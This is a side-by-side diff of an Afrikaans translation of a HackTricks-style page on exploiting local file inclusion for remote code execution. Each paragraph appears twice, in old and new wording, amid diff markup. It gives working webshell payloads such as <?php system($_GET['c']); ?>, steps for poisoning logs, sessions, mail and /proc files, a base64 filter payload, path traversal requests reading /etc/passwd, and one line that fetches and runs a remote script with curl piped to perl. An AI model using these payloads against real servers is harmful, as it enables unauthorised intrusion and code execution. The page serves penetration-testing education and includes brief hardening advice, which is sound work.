In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via PHP filter misbruik kan word om die inhoud van 'n file via 'n error oracle te exfiltrate.
|
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via PHP filter misbruik kan word om **exfiltrate the content of a file via an error oracle**.
|
||||||
|
|
||||||
Kortliks, gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n file so **big** te maak dat die **PHP function opening** die file 'n **error** sal veroorsaak.
|
In samevatting, die tegniek gebruik die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **big** te maak dat die **PHP function opening** die lêer 'n **error** sal veroorsaak.
|
||||||
|
|
||||||
Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik tesame met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander chars aan die begin te plaas en hulle te leak**.
|
Dan, om die eerste char te bepaal word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **place other chars at the beggining and leak them**.
|
||||||
|
|
||||||
**Funksies wat moontlik kwesbaar is**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
Funksies wat moontlik kwesbaar is: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||||
|
|
||||||
Vir die tegniese besonderhede, kyk na die genoemde post!
|
Vir die tegniese besonderhede, kyk die genoemde post!
|
||||||
|
|
||||||
## LFI2RCE
|
## LFI2RCE
|
||||||
|
|
||||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||||
|
|
||||||
Wanneer server-side code wat files ingesit/oppgelaai (ingests/uploads) bou die bestemmingpad met gebruiker-gekontrolleerde data (bv. 'n filename of URL) sonder om dit te canonicaliseer en te valideer, kan `..` segments en absolute paths die beoogde directory verlaat en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
|
Wanneer server-side code wat files ingests/uploads die destination path bou met user-controlled data (bv. 'n filename of URL) sonder om dit te canonicalise en validate, kan `..` segments en absolute paths uit die bedoelde directory ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell te drop.
|
||||||
|
|
||||||
Tipiese exploit-werkvloei:
|
Tipiese exploitasie-werkvloei:
|
||||||
- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
|
- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en content na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
|
||||||
- Bepaal web-exposed directories. Algemene voorbeelde:
|
- Bepaal web-exposed directories. Algemene voorbeelde:
|
||||||
- Apache/PHP: `/var/www/html/`
|
- Apache/PHP: `/var/www/html/`
|
||||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||||
- Skep 'n traversal path wat uit die beoogde storage directory breek in die webroot, en sluit jou webshell-inhoud in.
|
- Skep 'n traversal path wat uit die bedoelde storage directory in die webroot breek, en sluit jou webshell content in.
|
||||||
- Blaai na die gedropte payload en voer opdragte uit.
|
- Blaai na die dropped payload en voer commands uit.
|
||||||
|
|
||||||
Notes:
|
Nota:
|
||||||
- Die kwesbare diens wat die write uitvoer, mag na 'n non-HTTP port luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portaal (ander port) sal later jou payload bedien.
|
- Die vulnerable service wat die write uitvoer kan op 'n non-HTTP port luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portal (op 'n ander port) sal later jou payload bedien.
|
||||||
- Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
|
- Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
|
||||||
|
|
||||||
Generiese XML/JMF-styl voorbeeld (produk schemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):
|
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<JMF SenderID="hacktricks" Version="1.3">
|
<JMF SenderID="hacktricks" Version="1.3">
|
||||||
@ -466,26 +466,26 @@ in.transferTo(out);
|
|||||||
</Command>
|
</Command>
|
||||||
</JMF>
|
</JMF>
|
||||||
```
|
```
|
||||||
Hardening wat hierdie klas foute teëwerk:
|
Verharding wat hierdie klas foute neutraliseer:
|
||||||
- Los op na ’n kanonieke pad en dwing af dat dit ’n nakomeling is van ’n allow-listed base directory.
|
- Los op na 'n kanoniese pad en dwing af dat dit 'n subgids is van 'n allow-listed basisgids.
|
||||||
- Verwerp enige pad wat `..`, absolute roots, of stasieletters bevat; verkies gegenereerde filenames.
|
- Weier enige pad wat `..`, absolute wortels, of skyfletters bevat; verkies gegenereerde lêernaam.
|
||||||
- Voer die writer as ’n laagprivilegieerde rekening uit en skei write directories van served roots.
|
- Voer die skrywer uit as 'n laag-geprivilegieerde gebruiker en skei skryfgidse van geserveerde wortels.
|
||||||
|
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
Explained previously, [**volg hierdie skakel**](#remote-file-inclusion).
|
||||||
|
|
||||||
### Via Apache/Nginx log file
|
### Deur Apache/Nginx loglêer
|
||||||
|
|
||||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
As die Apache- of Nginx-bediener **vulnerable to LFI** binne die include function is, kan jy probeer om toegang te kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, plaas binne die **user agent** of in 'n **GET parameter** 'n PHP-shell soos **`<?php system($_GET['c']); ?>`** en daardie lêer include.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Let wel dat **as jy double quotes gebruik** vir die shell in plaas van **single quotes**, sal die double quotes verander word na die string "_**quote;**_", **PHP sal ’n fout gooi** en **niks anders sal uitgevoer word nie**.
|
> Let wel dat **as jy dubbel-aanhalingstekens gebruik** vir die shell in plaas van **enkel-aanhalingstekens**, sal die dubbel-aanhalingstekens verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
|
||||||
>
|
>
|
||||||
> Maak ook seker dat jy die payload **korrek skryf**, anders sal PHP elke keer fout gee wanneer dit probeer die log file laai en sal jy nie ’n tweede kans hê nie.
|
> Maak ook seker dat jy die payload **korrek skryf**, anders sal PHP elke keer 'n fout gee wanneer dit probeer om die log-lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||||
|
|
||||||
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
|
Dit kan ook in ander logs gedoen word maar **wees versigtig,** die kode binne die logs kan URL-geënkodeer wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word in die logs gedekodeer. Die PHPShell kan in hierdie header ingevoeg word.\
|
||||||
Other possible log paths:
|
Ander moontlike logpaaie:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
/var/log/apache/access.log
|
/var/log/apache/access.log
|
||||||
@ -499,53 +499,53 @@ Other possible log paths:
|
|||||||
```
|
```
|
||||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||||
|
|
||||||
### Via Email
|
### Per e-pos
|
||||||
|
|
||||||
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
|
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### Via /proc/\*/fd/\*
|
### Per /proc/*/fd/*
|
||||||
|
|
||||||
1. Laai baie shells op (byvoorbeeld: 100)
|
1. Laai baie shells op (byvoorbeeld : 100)
|
||||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan brute forced word) en $FD = file descriptor (kan ook brute forced word)
|
2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, met $PID = PID van die proses (kan brute forced word) en $FD die file descriptor (kan ook brute forced word)
|
||||||
|
|
||||||
### Via /proc/self/environ
|
### Per /proc/self/environ
|
||||||
|
|
||||||
Soos 'n loglêer, stuur die payload in die User-Agent; dit sal in die /proc/self/environ-lêer gereflekteer word.
|
Soortgelyk aan 'n log-lêer, stuur die payload in die User-Agent; dit sal binne die /proc/self/environ-lêer weerspieël word
|
||||||
```
|
```
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
User-Agent: <?=phpinfo(); ?>
|
User-Agent: <?=phpinfo(); ?>
|
||||||
```
|
```
|
||||||
### Deur upload
|
### Via upload
|
||||||
|
|
||||||
As jy 'n file kan upload, injekteer net die shell payload daarin (bv: `<?php system($_GET['c']); ?>`).
|
As jy 'n lêer kan upload, inject net die shell payload daarin (bv: `<?php system($_GET['c']); ?>`).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
Om die lêer leesbaar te hou is dit die beste om dit in die metadata van die prente/doc/pdf in te voeg
|
Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van beelde/doc/pdf in te voeg
|
||||||
|
|
||||||
### Via ZIP-lêer oplaai
|
### Via ZIP-lêer op laai
|
||||||
|
|
||||||
Laai 'n ZIP-lêer op wat 'n gekompresseerde PHP shell bevat en toegang daartoe:
|
Laai 'n ZIP-lêer op wat 'n gecomprimeerde PHP shell bevat en kry toegang:
|
||||||
```python
|
```python
|
||||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||||
```
|
```
|
||||||
### Deur PHP-sessies
|
### Deur PHP sessions
|
||||||
|
|
||||||
Kontroleer of die webwerf PHP-sessies gebruik (PHPSESSID)
|
Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik
|
||||||
```
|
```
|
||||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
```
|
```
|
||||||
In PHP word hierdie sessies gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers
|
In PHP word hierdie sessies in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers gestoor
|
||||||
```
|
```
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||||
```
|
```
|
||||||
Stel die cookie op `<?php system('cat /etc/passwd');?>`
|
Stel die cookie in op `<?php system('cat /etc/passwd');?>`
|
||||||
```
|
```
|
||||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||||
```
|
```
|
||||||
Gebruik die LFI om die PHP-sessie-lêer in te sluit.
|
Gebruik die LFI om die PHP-sessie-lêer in te sluit
|
||||||
```
|
```
|
||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||||
```
|
```
|
||||||
@ -555,22 +555,22 @@ As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/pa
|
|||||||
|
|
||||||
### **Deur** **vsftpd** _**loglêers**_
|
### **Deur** **vsftpd** _**loglêers**_
|
||||||
|
|
||||||
Die loglêers van die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
|
Die loglêers vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
|
||||||
|
|
||||||
1. Inspuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
|
1. Injekteer 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
|
||||||
2. Na inspuiting, gebruik die LFI om die bedienerloglêers vanaf _**/var/log/vsftpd.log**_ op te haal.
|
2. Na die injeksie gebruik die LFI om die bediener-loglêers van _**/var/log/vsftpd.log**_ te onttrek.
|
||||||
|
|
||||||
### Deur php base64 filter (using base64)
|
### Deur php base64 filter (using base64)
|
||||||
|
|
||||||
Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, sal die PHP base64 filter net Non-base64 karakters ignoreer. Jy kan dit gebruik om die lêeruitbreidingkontrole te omseil: as jy base64 verskaf wat eindig met ".php", sal dit die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeld payload:
|
Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, die PHP base64-filter ignoreer nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit die "." ignoreer en "php" by die base64 aanheg. Hier is 'n voorbeeld-payload:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
### Via php filters (geen lêer nodig nie)
|
### Via php filters (geen lêer nodig)
|
||||||
|
|
||||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om ewekansige inhoud** as uitvoer te genereer. Dit beteken basies dat jy **ewekansige php code** vir die include kan genereer **sonder om dit in 'n lêer te skryf**.
|
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters** kan gebruik om enige inhoud as output te genereer. Dit beteken basies dat jy **enige php code** kan genereer vir die include **sonder om dit in 'n lêer te skryf**.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
|
|||||||
|
|
||||||
### Via segmentation fault
|
### Via segmentation fault
|
||||||
|
|
||||||
**Upload** 'n lêer wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek** 'n **segmentation fault** veroorsaak, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarna soek.
|
**Upload** 'n lêer wat as **temporary** in `/tmp` gestoor word, veroorsaak dan in die **selfde request** 'n **segmentation fault**, en die **temporary file sal dan nie verwyder word nie** en jy kan daarna soek.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
|
|||||||
|
|
||||||
### Via Nginx temp file storage
|
### Via Nginx temp file storage
|
||||||
|
|
||||||
Indien jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy moontlik RCE verkry met die volgende tegniek:
|
As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy moontlik RCE verkry met die volgende tegniek:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
|
|||||||
|
|
||||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||||
|
|
||||||
Indien jy 'n **Local File Inclusion** gevind het, selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data voorsien, sal PHP die **sessie vir jou aktiveer**. Dit kan jy misbruik om RCE te kry:
|
As jy 'n **Local File Inclusion** gevind het selfs al het jy **nie 'n session** nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **session vir jou aktiveer**. Jy kan dit misbruik om RCE te kry:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -606,7 +606,7 @@ via-php_session_upload_progress.md
|
|||||||
|
|
||||||
### Via temp file uploads in Windows
|
### Via temp file uploads in Windows
|
||||||
|
|
||||||
Indien jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy moontlik RCE kry:
|
As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy moontlik RCE kry:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -615,7 +615,7 @@ lfi2rce-via-temp-file-uploads.md
|
|||||||
|
|
||||||
### Via `pearcmd.php` + URL args
|
### Via `pearcmd.php` + URL args
|
||||||
|
|
||||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die script `/usr/local/lib/phppearcmd.php` standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat dit aangedui word dat as 'n URL-param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), die script `/usr/local/lib/phppearcmd.php` bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat aangedui word dat as 'n URL-param geen `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||||
|
|
||||||
Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
|
Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
|
||||||
```bash
|
```bash
|
||||||
@ -628,42 +628,43 @@ Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b allte
|
|||||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||||
%0d%0a
|
%0d%0a
|
||||||
```
|
```
|
||||||
### Via phpinfo() (file_uploads = on)
|
### Deur phpinfo() (file_uploads = on)
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar met file_uploads = on, kan jy RCE kry:
|
As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** met file_uploads = on openbaar maak, kan jy RCE kry:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-phpinfo.md
|
lfi2rce-via-phpinfo.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **bypass that check** met hierdie **Race Condition**:
|
As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **check** te **bypass** met hierdie **Race Condition**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via eternal waiting + bruteforce
|
### Deur eternal waiting + bruteforce
|
||||||
|
|
||||||
As jy die LFI kan misbruik om **upload temporary files** en die server te laat **hang** die PHP-uitvoering, kan jy daarna **brute force filenames during hours** om die temporary file te vind:
|
As jy die LFI kan misbruik om **upload temporary files** en die server die PHP-uitvoering laat **hang**, kan jy dan **brute force filenames during hours** om die temporary file te vind:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-eternal-waiting.md
|
lfi2rce-via-eternal-waiting.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### To Fatal Error
|
### Tot Fatal Error
|
||||||
|
|
||||||
As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een twee keer insluit om daardie fout te veroorsaak).
|
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Jy moet dieselfde een 2 time include om daardie fout te gooi).
|
||||||
|
|
||||||
**Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\
|
**Ek weet nie hoe dit nuttig is nie maar dit kan wees.**\
|
||||||
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
_Selfs al veroorsaak jy 'n PHP Fatal Error, PHP-tydelike lêers wat opgelaai is, word verwyder._
|
||||||
|
|
||||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user